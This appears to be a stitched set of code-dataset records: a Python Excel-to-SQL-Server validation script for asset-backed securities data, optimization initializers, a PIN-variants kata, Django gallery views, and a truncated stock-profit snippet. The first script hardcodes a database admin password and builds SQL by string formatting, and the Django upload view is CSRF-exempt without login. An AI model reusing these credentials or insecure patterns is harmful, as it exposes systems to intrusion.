columnsP in PoolDistributions_columns:\n if columnsP not in data.columns:\n# print(columnsP)\n print(TrustId,TrustName,'表格字段错误不能含有中文或字段缺失!')\n C9='表格字段错误不能含有中文或字段缺失!'\n \n ErrorMessage(TrustId,FileTrustCode,TrustName,Excelfilepath,C9)\n return \n \n# sys.exit(1)\n \n data.dropna(subset=['Amount','Bucket','AmountPercentage'],inplace=True)\n data=data[['PaymentPeriodID','DistributionType','DatabaseItem','BucketSequenceNo','Bucket','Amount','AmountPercentage','Count','CountPercentage','CustomerCount','CustomerCountPercentage']]\n \n for typeNo in data.index:\n# try:\n DatabaseItem= 'null' if pd.isnull(data.loc[typeNo][2])==True else data.loc[typeNo][2]\n PaymentPeriodID='null' if pd.isnull(data.loc[typeNo][0])==True else data.loc[typeNo][0]\n BucketSequenceNo='null' if pd.isnull(data.loc[typeNo][3])==True else data.loc[typeNo][3]\n# BucketSequenceNolist.append(BucketSequenceNo)\n AmountPercentage='null' if pd.isnull(data.loc[typeNo][6])==True else data.loc[typeNo][6]\n if type(AmountPercentage) in (float,int,np.float32,np.float64,np.int32,np.int64) or AmountPercentage=='null' or AmountPercentage=='NA' :\n pass\n else:\n CJ1='AmountPercentage,第{}行,数据类型错误!应为数值型。'.format(typeNo)\n Error=1\n ErrorMessage(TrustId,FileTrustCode,TrustName,Excelfilepath,CJ1)\n print(CJ1,AmountPercentage,'AmountPercentage')\n\n \n CountPercentage='null' if pd.isnull(data.loc[typeNo][8])==True else data.loc[typeNo][8]\n if type(CountPercentage) in (float,int,np.float32,np.float64,np.int32,np.int64) or CountPercentage=='null' or CountPercentage=='NA':\n pass\n else:\n CJ11='CountPercentage,第{}行,数据类型错误!应为数值型。'.format(typeNo)\n Error=1\n ErrorMessage(TrustId,FileTrustCode,TrustName,Excelfilepath,CJ11)\n print(CJ11,CountPercentage,'CountPercentage')\n\n \n Amount='null' if pd.isnull(data.loc[typeNo][5])==True else data.loc[typeNo][5]\n if type(Amount) in (float,int,np.float32,np.float64,np.int32,np.int64) or Amount=='null' or Amount=='NA':\n pass\n else:\n CJ111='Amount,第{}行,数据类型错误!应为数值型。'.format(typeNo)\n Error=1\n ErrorMessage(TrustId,FileTrustCode,TrustName,Excelfilepath,CJ111)\n print(CJ111,Amount,'Amount')\n \n \n Count='null' if pd.isnull(data.loc[typeNo][7])==True else data.loc[typeNo][7]\n if type(Count) in (float,int,np.float32,np.float64,np.int32,np.int64) or Count=='null' or Count=='NA':\n pass\n else:\n CJ1111='Count,第{}行,数据类型错误!应为数值型。'.format(typeNo)\n Error=1\n ErrorMessage(TrustId,FileTrustCode,TrustName,Excelfilepath,CJ1111)\n print(CJ1111,Count,'Count')\n\n CustomerCount ='null' if pd.isnull(data.loc[typeNo][9])==True else data.loc[typeNo][9]\n if type(CustomerCount) in (float, int, np.float32, np.float64, np.int32, np.int64) or CustomerCount=='null' or CustomerCount=='NA':\n pass\n else:\n MgCustomerCount = '{},数据类型错误!应为数值型。'.format(typeNo)\n Error = 1\n ErrorMessage(TrustId, FileTrustCode, TrustName, Excelfilepath, MgCustomerCount)\n print(MgCustomerCount,CustomerCount,'CustomerCount')\n\n CustomerCountPercentage ='null' if pd.isnull(data.loc[typeNo][10])==True else data.loc[typeNo][10]\n if type(CustomerCountPercentage) in (float, int, np.float32, np.float64, np.int32, np.int64) or CustomerCountPercentage=='null'or CustomerCountPercentage=='NA':\n pass\n else:\n MGCustomerCountPercentage = '{},数据类型错误!应为数值型。'.format(typeNo)\n Error = 1\n ErrorMessage(TrustId, FileTrustCode, TrustName, Excelfilepath, MGCustomerCountPercentage)\n print(MGCustomerCountPercentage,CustomerCountPercentage,'CustomerCountPercentage')\n\n \n# print(DatabaseItem,AmountPercentage,CountPercentage,Amount,Count)\n DistributionType=data.loc[typeNo][1]\n Bucket=data.loc[typeNo][4]\n\n \n if PaymentPeriodID!=0:\n Error=1\n C8='PaymentPeriodID填写值【{}】错误!只能填【0】'.format(PaymentPeriodID)\n ErrorMessage(TrustId,FileTrustCode,TrustName,Excelfilepath,C8)\n print(C8)\n \n print(Error)\n if Error==0:\n print(TrustId,TrustName,'池分布数据校验通过!')\n PoolDistributionsImport(Excelfilepath,FileTrustCode)\n\n \n\ndef PoolDistributionsImport(Excelfilepath,FileTrustCode):\n conn = pymssql.connect(host='172.16.6.143\\mssql', user='sa', password='PasswordGS2017',\n database='PortfolioManagement', charset='utf8')\n b1=conn.cursor()\n \n #删除上次插入数据\n deletePoolDistributions1=\"delete dbo.PoolDistributions1 where TrustId={} and PaymentPeriodID=0\".format(TrustId)\n b1.execute(deletePoolDistributions1)\n conn.commit()\n print('历史数据已清除')\n\n DataPoolDistributions=pd.read_excel(Excelfilepath,header=1,errors='ignore')\n DataPoolDistributionsImport=DataPoolDistributions[['PaymentPeriodID','DistributionType','DatabaseItem','BucketSequenceNo','Bucket','Amount','AmountPercentage','Count','CountPercentage','CustomerCount','CustomerCountPercentage']]\n DataPoolDistributionsImport=DataPoolDistributionsImport.dropna(subset=['Amount','Count',])\n #print(DataPoolDistributionsImport)\n \n for Cindex in DataPoolDistributionsImport.index:\n PaymentPeriodID='null' if pd.isnull(DataPoolDistributionsImport.loc[Cindex][0])==True else DataPoolDistributionsImport.loc[Cindex][0]\n #PaymentPeriodID=int(PaymentPeriodID)\n \n DatabaseItem='null' if pd.isnull(DataPoolDistributionsImport.loc[Cindex][2])==True else DataPoolDistributionsImport.loc[Cindex][2]\n \n DistributionTypeCode='null' if pd.isnull(DataPoolDistributionsImport.loc[Cindex][1])==True else DataPoolDistributionsImport.loc[Cindex][1]\n BucketSequenceNo= 'null' if pd.isnull(DataPoolDistributionsImport.loc[Cindex][3])==True else DataPoolDistributionsImport.loc[Cindex][3]\n #BucketSequenceNo=int(BucketSequenceNo)\n Bucket='null' if pd.isnull(DataPoolDistributionsImport.loc[Cindex][4])==True else DataPoolDistributionsImport.loc[Cindex][4]\n Amount= 'null' if pd.isnull(DataPoolDistributionsImport.loc[Cindex][5])==True else DataPoolDistributionsImport.loc[Cindex][5]\n if Amount=='NA':\n Amount='null'\n\n AmountPercentage='null' if pd.isnull(DataPoolDistributionsImport.loc[Cindex][6])==True else DataPoolDistributionsImport.loc[Cindex][6]\n if AmountPercentage=='NA':\n AmountPercentage='null'\n if AmountPercentage!='null':\n AmountPercentage=round(AmountPercentage,4)\n \n Count='null' if pd.isnull(DataPoolDistributionsImport.loc[Cindex][7])==True else DataPoolDistributionsImport.loc[Cindex][7]\n if Count=='NA':\n Count='null'\n\n CountPercentage='null' if pd.isnull(DataPoolDistributionsImport.loc[Cindex][8])==True else DataPoolDistributionsImport.loc[Cindex][8]\n if CountPercentage=='NA':\n CountPercentage='null'\n if CountPercentage!='null':\n CountPercentage=round(CountPercentage,4)\n\n CustomerCount = 'null' if pd.isnull(DataPoolDistributionsImport.loc[Cindex][9])==True else DataPoolDistributionsImport.loc[Cindex][9]\n if CustomerCount=='NA':\n CustomerCount='null'\n if CustomerCount!='null':\n CustomerCount=round(CustomerCount,0)\n\n CustomerCountPercentage ='null' if pd.isnull(DataPoolDistributionsImport.loc[Cindex][10])==True else DataPoolDistributionsImport.loc[Cindex][10]\n if CustomerCountPercentage=='NA':\n CustomerCountPercentage='null'\n if CustomerCountPercentage!='null':\n CustomerCountPercentage=round(CustomerCountPercentage,4)\n \n #print(AmountPercentage)\n if AmountPercentage!='null':\n if AmountPercentage<1:\n AmountPercentage=AmountPercentage*100\n if CountPercentage!='null':\n if CountPercentage<1:\n CountPercentage=CountPercentage*100\n if CustomerCountPercentage!='null': \n if CustomerCountPercentage<1:\n CustomerCountPercentage=CustomerCountPercentage*100\n\t\t\n if Bucket!='null':\n PoolDistributions1Insert=\"insert into dbo.PoolDistributions1 values({},{},'{}',{},N'{}',{},{},{},{},N'{}',{},{})\".format(TrustId,PaymentPeriodID,DistributionTypeCode,BucketSequenceNo,Bucket,Count,CountPercentage,Amount,AmountPercentage,DatabaseItem,CustomerCount,CustomerCountPercentage)\n #print(PoolDistributions1Insert)\n b1.execute(PoolDistributions1Insert)\n conn.commit()\n \n if Bucket=='null':\n PoolDistributions1Insert=\"insert into dbo.PoolDistributions1 values({},{},'{}',{},{},{},{},{},{},N'{}',{},{})\".format(TrustId,PaymentPeriodID,DistributionTypeCode,BucketSequenceNo,Bucket,Count,CountPercentage,Amount,AmountPercentage,DatabaseItem,CustomerCount,CustomerCountPercentage)\n #print(PoolDistributions1Insert)\n b1.execute(PoolDistributions1Insert)\n conn.commit()\n b1.close()\n conn.close()\n # C6='池分布导入完成!'\n # ErrorMessage(TrustId,FileTrustCode,TrustName,Excelfilepath,C6)\n print(\"{},{},{},池分布导入完成!\".format(TrustId,FileTrustCode,TrustName)) \n\n \ndef execSQLCmd(sql):\n # print(sql)\n cnxn = pyodbc.connect(dbConnectionStr)\n try:\n cursor = cnxn.cursor()\n cursor.execute(sql)\n cnxn.commit()\n except Exception as ex:\n writeLog(str(ex))\n writeErr(\"\\n【{0}】\".format(sourceFilePath))\n writeErr(str(ex))\n print(str(ex))\n # raise ex\n finally:\n cnxn.close()\n \n \n \ndef InsertVerificationLog(userId, CheckType, IsSucess, filePath, result,filepath):\n sql = \"exec TaskCollection.dbo.usp_InsertVerificationLog N'{0}',N'{1}',N'{2}',N'{3}',N'{4}',N'{5}'\".format(userId,CheckType,IsSucess, filePath, result,filepath)\n execSQLCmd(sql)\n \n \ndef InsertTrusteeCheckByTrustId(userId, TrustId,ckResultLen):\n sql = \"exec TaskCollection.dbo.usp_InsertTrusteeCheckByTrustId N'{0}',N'{1}',N'{2}',N'{3}',N'{4}'\".format(userId,10, TrustId, 0, ckResultLen)\n execSQLCmd(sql)\n\t\n#更新任务状态\ndef UpdateProductStatus(TrustId):\n conn = pymssql.connect(host='172.16.6.143\\mssql', user='sa', password='PasswordGS2017',\n database='TaskCollection', charset='utf8')\n b1=conn.cursor()\n \n SelectTrustDocumentID=\"select TrustDocumentID from TaskCollection.[dbo].[view_TrusteeReportForDocumentId] where TrustId={} and Period=0 and FileType='BasicInformation'\".format(TrustId)\n b1.execute(SelectTrustDocumentID)\n TrustDocumentID=b1.fetchone()[0]\n# print(TrustDocumentID)\n execsql=\"[TaskCollection].[dbo].[UpdateProductStatus] {},{},'{}',1\".format(TrustId,TrustDocumentID,'PoolDistribution')\n# print(execsql)\n b1.execute(execsql)\n conn.commit()\t\n\n\t\ndef runDBDataValidation(TrustId):\n sql = \"exec TaskCollection.dbo.[usp_VerifyTrustPoolDistributionsByTrust] N'{0}'\".format(TrustId)\n dbCheckResult = execSQLCmd(sql)\n selectId = \"SELECT top 1 TrustId FROM PortfolioManagement.[DV].[VerifyTrustPoolDistributionsByTrustRemarksLog] WHERE TrustId= {}\".format(TrustId)\n cnxn = pyodbc.connect(dbConnectionStr)\n b1 = cnxn.cursor()\n b1.execute(selectId)\n Result = b1.fetchone()[0]\n return Result \n \n \nif __name__==\"__main__\":\n import xlrd,xlwt\n import pandas as pd,numpy as np\n import numpy as np\n import os\n import time\n import sys\n import datetime\n import pymssql\n import pyodbc\n import openpyxl\n from openpyxl import load_workbook\n from openpyxl import Workbook\n \n filepath=r'\\\\172.16.6.143\\Products\\计划说明书\\202008\\ABN\\池分布校验-V5\\池分布\\王刚依\\王刚依\\深圳前海联易融商业保理有限公司2020年度第二期资产支持票据'\n # filepath = str(sys.argv[1])\n # dateId = str(sys.argv[2])\n # userId = str(sys.argv[3])\n IsResultSucess=0\n dbConnectionStr=\"DRIVER={SQL Server};SERVER=172.16.6.143\\MSSQL;DATABASE=TaskCollection;UID=sa;PWD=PasswordGS2017\"\n \n errtxtFilePath = os.path.join(r'C:\\Users\\DELL\\Desktop\\华能信托·惠橙6号集合资金信托计划','Error_池分布校验结果_{0}.xlsx'.format(100000))\n if not os.path.exists(errtxtFilePath):\n wb = Workbook() # 新建工作簿\n ws1 = wb.active\n wb.save(errtxtFilePath)\n wb = openpyxl.load_workbook(errtxtFilePath) # 读取xlsx文件\n ws=wb['Sheet']\n maxrow=ws.max_row\n ws.cell(maxrow,1,'负责人').value\n ws.cell(maxrow,2,'操作人').value\n ws.cell(maxrow,3,'TrustId').value\n ws.cell(maxrow,4,'TrustCode').value\n ws.cell(maxrow,5,'TrustName').value\n ws.cell(maxrow,6,'Path').value\n ws.cell(maxrow,7,'ErrorInformation').value\n ws.cell(maxrow,8,'备注').value\n ws.cell(maxrow,9,'Type').value\n wb.save(errtxtFilePath)\n \n \n #循环遍查找指定文件夹\n ErrorList=[]\n for root,dirs,files in os.walk(filepath):\n for name in files:\n if not name.endswith('池分布.xlsx'):\n# print(name,'文件名称不匹配!')\n continue\n Excelfilepath = os.path.join(root,name)\n if ';' in name:\n SplitName=name.split(';')\n TrustCode=SplitName[0]\n TrustName=SplitName[1]\n print(TrustCode,TrustName)\n PoolDistributions(Excelfilepath,TrustCode,TrustName)\n data=pd.read_excel(errtxtFilePath)\n ckResultLen=len(data)\n InsertTrusteeCheckByTrustId(userId, TrustId,0)\n UpdateProductStatus(TrustId)\n ErrorList.append(Error)\n else:\n Error=1\n ErrorList.append(Error)\n FileError='文件名称格式错误!应为[TrustCode;TrustName;池分布.xlsx]'\n ErrorMessage('*','*','*',Excelfilepath,FileError)\n print(name,\"--文件名称格式错误!应为[TrustCode;TrustName;池分布.xlsx]\") \n \n\n if sum(ErrorList)==0:\n IsSucess=1\n result='计划说明书池分布校验通过!'\n InsertVerificationLog(userId, 10, IsSucess, errtxtFilePath, result,filepath)\n else:\n IsSucess=0\n result='计划说明书池分布校验错误,详细错误请下载查看!'\n InsertVerificationLog(userId, 10, IsSucess, errtxtFilePath, result,filepath)","sub_path":"untitled1/PoolDistributionCheck-V5.py","file_name":"PoolDistributionCheck-V5.py","file_ext":"py","file_size_in_byte":16904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"432714376","text":"\"\"\"\nImplementation of methods for sampling initial points.\n\"\"\"\n\nfrom __future__ import division\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\nimport numpy as np\nimport scipy.optimize as so\n\nfrom ..utils import rstate, register\nfrom ._sobol import i4_sobol_generate\n\n__all__ = ['init_middle', 'init_uniform', 'init_latin', 'init_sobol',\n 'solve_lbfgs']\n\nINITS = {}\nSOLVERS = {}\n\n\n# INITIALIZATION METHODS ######################################################\n\n@register(INITS, 'middle')\ndef init_middle(bounds, rng=None):\n \"\"\"\n Initialize using a single query in the middle of the space.\n \"\"\"\n return np.mean(bounds, axis=1)[None, :]\n\n\n@register(INITS, 'uniform')\ndef init_uniform(bounds, n=None, rng=None):\n \"\"\"\n Initialize using `n` uniformly distributed query points. If `n` is `None`\n then use 3D points where D is the dimensionality of the input space.\n \"\"\"\n rng = rstate(rng)\n bounds = np.array(bounds, ndmin=2, copy=False)\n d = len(bounds)\n n = 3*d if (n is None) else n\n\n # generate the random values.\n w = bounds[:, 1] - bounds[:, 0]\n X = bounds[:, 0] + w * rng.rand(n, d)\n\n return X\n\n\n@register(INITS, 'latin')\ndef init_latin(bounds, n=None, rng=None):\n \"\"\"\n Initialize using a Latin hypercube design of size `n`. If `n` is `None`\n then use 3D points where D is the dimensionality of the input space.\n \"\"\"\n rng = rstate(rng)\n bounds = np.array(bounds, ndmin=2, copy=False)\n d = len(bounds)\n n = 3*d if (n is None) else n\n\n # generate the random samples.\n w = bounds[:, 1] - bounds[:, 0]\n X = bounds[:, 0] + w * (np.arange(n)[:, None] + rng.rand(n, d)) / n\n\n # shuffle each dimension.\n for i in xrange(d):\n X[:, i] = rng.permutation(X[:, i])\n\n return X\n\n\n@register(INITS, 'sobol')\ndef init_sobol(bounds, n=None, rng=None):\n \"\"\"\n Initialize using a Sobol sequence of length `n`. If `n` is `None` then use\n 3D points where D is the dimensionality of the input space.\n \"\"\"\n rng = rstate(rng)\n bounds = np.array(bounds, ndmin=2, copy=False)\n d = len(bounds)\n n = 3*len(bounds) if (n is None) else n\n\n # generate the random samples.\n skip = rng.randint(100, 200)\n w = bounds[:, 1] - bounds[:, 0]\n X = bounds[:, 0] + w * i4_sobol_generate(d, n, skip).T\n\n return X\n\n\n# SOLVER METHODS ##############################################################\n\n@register(SOLVERS, 'lbfgs')\ndef solve_lbfgs(f,\n bounds,\n nbest=10,\n ngrid=10000,\n xgrid=None,\n rng=None):\n \"\"\"\n Compute the objective function on an initial grid, pick `nbest` points, and\n maximize using LBFGS from these initial points.\n\n Args:\n f: function handle that takes an optional `grad` boolean kwarg\n and if `grad=True` returns a tuple of `(function, gradient)`.\n NOTE: this functions is assumed to allow for multiple inputs in\n vectorized form.\n\n bounds: bounds of the search space.\n nbest: number of best points from the initial test points to refine.\n ngrid: number of (random) grid points to test initially.\n xgrid: initial test points; ngrid is ignored if this is given.\n\n Returns:\n xmin, fmax: location and value of the maximizer.\n \"\"\"\n\n if xgrid is None:\n # TODO: The following line could be replaced with a regular grid or a\n # Sobol grid.\n xgrid = init_uniform(bounds, ngrid, rng)\n else:\n xgrid = np.array(xgrid, ndmin=2)\n\n # compute func_grad on points xgrid\n finit = f(xgrid, grad=False)\n idx_sorted = np.argsort(finit)[::-1]\n\n # lbfgsb needs the gradient to be \"contiguous\", squeezing the gradient\n # protects against func_grads that return ndmin=2 arrays. We also need to\n # negate everything so that we are maximizing.\n def objective(x):\n fx, gx = f(x[None], grad=True)\n return -fx[0], -gx[0]\n\n # TODO: the following can easily be multiprocessed\n result = [so.fmin_l_bfgs_b(objective, x0, bounds=bounds)[:2]\n for x0 in xgrid[idx_sorted[:nbest]]]\n\n # loop through the results and pick out the smallest.\n xmin, fmin = result[np.argmin(_[1] for _ in result)]\n\n # return the values (negate if we're finding a max)\n return xmin, -fmin\n\n\n# DIRECT ######################################################################\n\ntry:\n # This will try and import the nlopt package in order to use the DIRECT\n # (DIvided RECTangles) solver for gradient-free optimization. if nlopt\n # doesn't exist we'll just ignore it.\n import nlopt\n\n # exported symbols\n __all__ += ['solve_direct']\n\n @register(SOLVERS, 'direct')\n def solve_direct(f, bounds, rng=None):\n def objective(x, grad):\n \"\"\"Objective function in the form required by nlopt.\"\"\"\n if grad.size > 0:\n fx, gx = f(x[None], grad=True)\n grad[:] = gx[0][:]\n else:\n fx = f(x[None], grad=False)\n return fx[0]\n\n bounds = np.array(bounds, ndmin=2)\n\n opt = nlopt.opt(nlopt.GN_ORIG_DIRECT, bounds.shape[0])\n opt.set_lower_bounds(list(bounds[:, 0]))\n opt.set_upper_bounds(list(bounds[:, 1]))\n opt.set_ftol_rel(1e-6)\n opt.set_maxtime(10)\n opt.set_max_objective(objective)\n\n xmin = bounds[:, 0] + (bounds[:, 1] - bounds[:, 0]) / 2\n xmin = opt.optimize(xmin)\n fmax = opt.last_optimum_value()\n\n return xmin, fmax\n\nexcept ImportError:\n pass\n","sub_path":"pybo-dev/pybo/domains/continuous.py","file_name":"continuous.py","file_ext":"py","file_size_in_byte":5578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"619399054","text":"neighbors = {\"0\": [\"8\"],\n \"1\": [\"2\", \"4\"],\n \"2\": [\"1\", \"3\", \"5\"],\n \"3\": [\"2\", \"6\"],\n \"4\": [\"1\", \"5\", \"7\"],\n \"5\": [\"2\", \"4\", \"6\", \"8\"],\n \"6\": [\"3\", \"5\", \"9\"],\n \"7\": [\"4\", \"8\"],\n \"8\": [\"5\", \"7\", \"9\", \"0\"],\n \"9\": [\"6\", \"8\"],\n }\n\n\ndef get_neighbors(n):\n result = neighbors[n][:]\n result.append(n)\n\n return result\n\n\ndef increment_indices(indices, possibilities):\n indices = indices[:]\n indices[-1] += 1\n\n for i in range(len(indices) - 1, -1, -1):\n overflow = len(possibilities[i]) == indices[i]\n\n if overflow and i == 0:\n return None\n\n if overflow:\n indices[i] = 0\n indices[i-1] += 1\n\n return indices\n\n\ndef get_pins(observed):\n possibilities = list(map(get_neighbors, observed))\n\n indices = [0] * len(possibilities)\n\n result = []\n\n while indices is not None:\n combo = \"\"\n for possible_digits, index in zip(possibilities, indices):\n combo += possible_digits[index]\n result.append(combo)\n indices = increment_indices(indices, possibilities)\n\n return result\n\n\nprint(get_pins(\"12\"))","sub_path":"python/src/excercises/The_observed_PIN.py","file_name":"The_observed_PIN.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"258544455","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.core.urlresolvers import reverse as r\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models import Sum\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom core.views import group_required, verifica_membro, menu_lateral\nfrom galeria.forms import GaleriaForm, GaleriaFotoForm\nfrom infogeral.models import Tag\nfrom galeria.models import Galeria, GaleriaFoto, GaleriaRating\nfrom evento.models import Evento, EventoFoto, EventoRating\nfrom portaleventos_app.utils import trataImagem\n\nimport simplejson\n\n@login_required\n@group_required('Administrador')\ndef galerias(request):\n '''\n @galerias: view para listar as galerias cadastradas no sistema \n '''\n galerias = Galeria.objects.all().order_by('-criado_em')\n\n return render(request, 'galerias.html',{'galerias': galerias})\n\ndef galeria_lista(request):\n '''\n @galeria_lista: view para listar as galerias cadastradas no sistema \n '''\n dados = menu_lateral()\n try:\n query = request.GET.get('tag').replace('+',' ')\n tag = Tag.objects.get(nome=query.upper())\n eventos = tag.tags_evento.all().order_by('titulo')\n galerias = tag.tags_galeria.all().order_by('titulo')\n except:\n query = \"\"\n eventos = Evento.objects.all().order_by('-criado_em') \n galerias = Galeria.objects.all().order_by('-criado_em')\n\n galeria_list = []\n\n for evento in eventos:\n if evento.foto or evento.fotos_evento.all():\n album = {'titulo':evento.titulo,'tipo':'evento','data':evento.criado_em,'origem':evento,'id':evento.id}\n galeria_list.append(album) \n\n for galeria in galerias:\n if galeria.fotos_galeria.all():\n album = {'titulo':galeria.titulo,'tipo':'galeria','data':galeria.criado_em,'origem':galeria,'id':galeria.id}\n galeria_list.append(album)\n\n galeria_list_ordem = sorted(galeria_list, key=lambda k: k['data'],reverse=True)\n \n paginator = Paginator(galeria_list_ordem , 16) # exibe 16 por pagina\n page1 = request.GET.get('pg')\n\n try: \n galerias = paginator.page(page1)\n except PageNotAnInteger:\n galerias = paginator.page(1)\n except EmptyPage:\n galerias = paginator.page(paginator.num_pages)\n\n galeria = {'galerias': galerias,'total_galerias':len(galeria_list),'query':query}\n galeria.update(dados)\n return render(request, 'galeria_lista.html',galeria)\n\ndef galeria_visualizar(request,tipo,id_galeria):\n '''\n @galeria_lista: view para listar as galerias cadastradas no sistema \n '''\n dados = menu_lateral()\n \n\n if tipo == 'evento':\n evento = Evento.objects.get(id=id_galeria)\n tags_cont = evento.tags.count\n album = {'titulo':evento.titulo,'tipo':'evento','data':evento.criado_em,'origem':evento,'id':evento.id}\n fotos_list = evento.fotos_evento.all()\n\n else:\n galeria = Galeria.objects.get(id=id_galeria)\n tags_cont = galeria.tags.count \n album = {'titulo':galeria.titulo,'tipo':'galeria','data':galeria.criado_em,'origem':galeria,'id':galeria.id}\n fotos_list = galeria.fotos_galeria.all()\n\n \n paginator = Paginator(fotos_list , 16) # exibe 16 por pagina\n page1 = request.GET.get('pg')\n\n try: \n fotos = paginator.page(page1)\n except PageNotAnInteger:\n fotos = paginator.page(1)\n except EmptyPage:\n fotos = paginator.page(paginator.num_pages)\n\n \n \n return render(request, 'galeria_visualizar.html',{'fotos':fotos,'galeria':album}) \n\n@login_required\ndef galeria_novo(request):\n '''\n @galeria_novo: Metodo de criação de uma nova Galeria\n '''\n form = GaleriaForm()\n\n if request.method == 'POST':\n form = GaleriaForm(request.POST)\n\n if form.is_valid():\n galeria = form.save(commit=False)\n galeria.save()\n form.save_m2m()\n\n return HttpResponseRedirect(r('galeria:fotos', kwargs={'id_galeria': galeria.id}))\n else:\n return render(request, 'galeria_novo.html', {'form': form, 'status':'Novo'})\n else:\n return render(request, 'galeria_novo.html', {'form': form, 'status': 'Novo'})\n\n\n@login_required\n@group_required('Administrador')\ndef galeria_editar(request, id_galeria):\n '''\n @galeria_editar: Metodo de edição de uma galeria cadastrada na base\n '''\n galeria = Galeria.objects.get(id=id_galeria)\n form = GaleriaForm(instance=galeria)\n if request.method == 'POST':\n form = GaleriaForm(request.POST, instance=galeria)\n\n if form.is_valid():\n galeria = form.save(commit=False)\n galeria.save()\n form.save_m2m()\n\n return HttpResponseRedirect(r('galeria:galerias'))\n else:\n return render(request,'galeria_novo.html',{'form': form,'status':'Editar','id_galeria':id_galeria})\n else: \n return render(request,'galeria_novo.html',{'form': form,'status':'Editar','id_galeria':id_galeria})\n\n@login_required\n@group_required('Administrador')\ndef galeria_excluir(request,id_galeria):\n '''\n @galeria_excluir: Metodo de excluir uma galeria cadastrada na base\n '''\n galeria = Galeria.objects.get(id=id_galeria)\n galeria.delete()\n return HttpResponseRedirect( r('galeria:galerias'))\n\n@login_required\ndef fotos(request,id_galeria):\n '''\n @fotos: \n '''\n # Buscando todas as Fotos da interface administrativa na base de dados \n galeria = Galeria.objects.get(id=id_galeria)\n\n return render(request, 'galeria_fotos.html',{'galeria': galeria})\n\n\n@login_required\ndef foto_nova(request, id_galeria):\n '''\n @foto_nova: Adicionar Foto(s) a uma Galeria\n '''\n galeria = Galeria.objects.get(id=id_galeria)\n\n dados = {\n 'status': 'Nova',\n 'galeria': galeria,\n }\n\n return render(request, \"galeria_foto.html\", dados)\n\n@csrf_exempt\ndef foto_adicionar_ajax(request, id_galeria):\n '''\n @foto_adicionar_ajax: Adicionando as imagens Via Ajax para envio de \n multiplas imagens\n '''\n\n from django.core.files.storage import default_storage\n from django.core.files.base import ContentFile\n import time\n import base64\n\n # Baixando a foto para o Media temporariamente para fazer a conversão para base64\n arquivo = request.FILES['Filedata']\n arquivo_nome = 'foto-%s.jpg' % (time.time())\n path = default_storage.save(arquivo_nome, ContentFile(arquivo.read()))\n\n # Gerando o base64 a partir da foto\n foto_base64 = base64.b64encode(default_storage.open(path).read())\n\n # Apagando a foto do local temporario\n default_storage.delete(path)\n\n galeria = Galeria.objects.get(id=id_galeria)\n\n foto = '%s%s' % ('data:image/jpg;base64,', trataImagem('fotop', foto_base64, 'minimo', 140, 140))\n foto_g = '%s%s' % ('data:image/jpg;base64,', trataImagem('fotog', foto_base64, 'minimo', 620, 427))\n\n # Criando as fotos\n galeria.fotos_galeria.create(foto=foto, foto_g=foto_g, autor=\"Lagos Eventos\")\n\n return HttpResponse(True)\n\n\n@login_required\ndef foto_visualizar(request,id_foto):\n '''\n @foto_visualizar: Visualizar a Foto\n '''\n galeria_foto = GaleriaFoto.objects.get(id=id_foto)\n galeria = galeria_foto.galeria\n\n return render(request,\"galeria_foto_visualizar.html\",{'foto':galeria_foto.foto_g,'galeria':galeria})\n\n@login_required\ndef foto_editar_autor(request,id_foto):\n '''\n @foto_editar_autor: Altera o autor de uma foto\n '''\n galeria_foto = GaleriaFoto.objects.get(id=id_foto)\n galeria = galeria_foto.galeria\n foto_g = galeria_foto.foto_g\n\n if request.method == 'POST':\n form = GaleriaFotoForm(request.POST,instance=galeria_foto)\n if form.is_valid():\n foto = form.save(commit=False) \n foto.save()\n return HttpResponseRedirect(r('galeria:fotos', kwargs={'id_galeria':foto.galeria.id}))\n else:\n return render(request,\"galeria_foto_autor.html\",{'form':form,'galeria_foto':foto_g,'status':'Editar','galeria':galeria})\n else:\n return render(request,\"galeria_foto_autor.html\",{'form':GaleriaFotoForm(instance=galeria_foto),'foto':foto_g,'status':'Editar','galeria':galeria})\n\n@login_required\ndef foto_remover(request,id_foto):\n '''\n @foto_remover: \n '''\n foto = GaleriaFoto.objects.get(id=id_foto)\n galeria = foto.galeria\n foto.delete()\n return HttpResponseRedirect( r('galeria:fotos', kwargs={'id_galeria':galeria.id}))\n\ndef ratings(request):\n '''\n @ratings:\n '''\n\n if request.method == 'POST': \n tipo = request.POST.get('tipo')\n id_galeria = request.POST.get('id_galeria')\n rating = request.POST.get('rating')\n\n if tipo == 'evento':\n evento = Evento.objects.get(id=id_galeria)\n EventoRating.objects.create(evento=evento,rating=rating)\n\n evento_ratings = EventoRating.objects.filter(evento=evento)\n total = evento_ratings.aggregate(total_rating=Sum('rating'))\n total_rating = total['total_rating']\n numero_ratings = evento_ratings.count()\n\n if numero_ratings >1: \n evento.rating = total_rating/numero_ratings\n evento.save()\n else :\n evento.rating = rating\n evento.save()\n\n else:\n galeria = Galeria.objects.get(id=id_galeria)\n GaleriaRating.objects.create(galeria=galeria,rating=rating)\n\n galeria_ratings = GaleriaRating.objects.filter(galeria=galeria)\n total = galeria_ratings.aggregate(total_rating=Sum('rating'))\n total_rating = total['total_rating']\n numero_ratings = galeria_ratings.count()\n \n if numero_ratings >1: \n galeria.rating = total_rating/numero_ratings\n galeria.save()\n\n return HttpResponse(simplejson.dumps(\"ok\"))\n else:\n return HttpResponse('Não autorizado')","sub_path":"portaleventos_app/galeria/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"154837423","text":"# 动态规划\nclass Solution(object):\n def maxProfit(self, prices, fee):\n \"\"\"\n :type prices: List[int]\n :type fee: int\n :rtype: int\n \"\"\"\n if not prices:\n return 0\n n = len(prices)\n # dp[i][j]代表第i天时可以获得的最大利润\n # dp[i][0]表示第i天不持有股票, dp[i][1]表示第i天持有股票\n dp = [[0] * 2 for _ in range(n)]\n dp[0][0], dp[0][1] = 